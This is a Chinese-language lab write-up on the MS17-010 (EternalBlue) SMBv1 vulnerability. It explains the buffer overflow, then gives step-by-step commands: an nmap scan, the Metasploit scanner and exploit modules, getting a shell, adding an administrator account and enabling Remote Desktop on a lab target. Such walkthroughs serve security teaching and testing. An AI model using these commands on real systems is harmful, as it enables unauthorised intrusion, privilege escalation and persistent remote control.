一、漏洞原理简介
MS17-010漏洞出现在Windows SMB v1中的内核态函数srv!SrvOs2FeaListToNt在处理FEA(File Extended Attributes)转换时,在大非分页池(Large Non-Paged Kernel Pool)上存在缓冲区溢出。
函数srv!SrvOs2FeaListToNt在将FEA list转换成NTFEA(Windows NT FEA) list前会调用srv!SrvOs2FeaListSizeToNt去计算转换后的FEA lsit的大小,因计算大小错误,而导致缓冲区溢出。
二、漏洞发现
扫描本网段存活的主机
nmap -T4 -sS -sC -sV 192.168.180.0/24


这里我们发现靶机开启445端口,而我们ms17-010利用的就是445端口的SMB服务
三、测试漏洞
1、打开kali中msfconsole漏洞测试平台

搜索ms17-010漏洞测试模块
search ms17-010

3、我们使用kali中的漏洞验证模块,验证靶机是否存在ms17-010漏洞
use 3

4、查看该模块需要配置的参数
show options

5、设置靶机IP
set RHOSTS 192.168.180.129

6、运行漏洞验证模块
run

验证成功发现目标靶机存在ms17-010漏洞
7、进行渗透测试
使用漏洞攻击模块
use exploit/windows/smb/ms17_010_eternalblue

8、设置靶机IP
set RHOSTS 192.168.180.129

9、运行漏洞攻击模块
run


成功拿到靶机shell
四、漏洞利用
我们可以使用该漏洞做很多事情,这里简单演示通过shell对靶机进行远程控制
1、创建一个新用户

这里我们创建了一个用户名为user密码为P@ssw0rd的用户
2、对user用户提权,添加到超级管理员组
net localgroup administrators user /add

3、开启远程桌面
我们先查看靶机3389端口开启情况
netstat -ano

这里没有看到3389端口开启,我们手动开启
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

再次查看端口开启情况

发现已经开启
4、连接远程桌面
rdesktop 192.168.180.129:3389


我们用刚刚创建的user用户登录

登录成功,实验结束